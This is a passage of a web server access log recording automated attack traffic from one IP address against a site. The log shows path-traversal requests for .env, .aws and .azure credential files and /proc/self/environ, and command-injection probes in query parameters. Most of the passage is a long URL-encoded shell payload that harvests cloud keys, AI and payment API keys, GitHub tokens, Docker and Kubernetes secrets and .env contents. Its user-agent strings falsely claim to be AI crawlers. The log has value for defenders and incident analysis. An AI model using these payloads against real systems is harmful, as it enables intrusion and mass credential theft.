"-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /env HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot) Chrome/91.0.2464.180 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /_next/../.aws/credentials HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; TelegramBot/1.0) Version/16.0 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /static../proc/self/environ HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.6) Gecko/20100101 Firefox/132.6; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /apps/.env HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /static/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com)" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /.continue/config.json HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) Chrome/151.0.7652.32 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /api/.env.bak HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.10) Gecko/20100101 Firefox/149.10; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:44 -0700] "GET /.npmrc HTTP/1.1" 200 12079 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /ses.env HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Chrome/114.0.3931.176 Safari/537.36 Edg/114.0.3931.176" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /phpinfo.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /%2eazure/credentials HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /..;/..;/.azure/credentials HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.16) Gecko/20100101 Firefox/105.16; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?path=../../.azure/credentials HTTP/1.1" 200 12104 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.124.222 Safari/537.36; compatible; TelegramBot/1.0" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /download?file=../../.azure/credentials HTTP/1.1" 200 12105 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /read?url=file:///root/.azure/credentials HTTP/1.1" 200 12111 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /read?file=../../.azure/credentials HTTP/1.1" 200 12104 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12105 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?host=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12114 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?command=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.3423.240 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?exec=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12109 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13824 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13822 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?command=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%2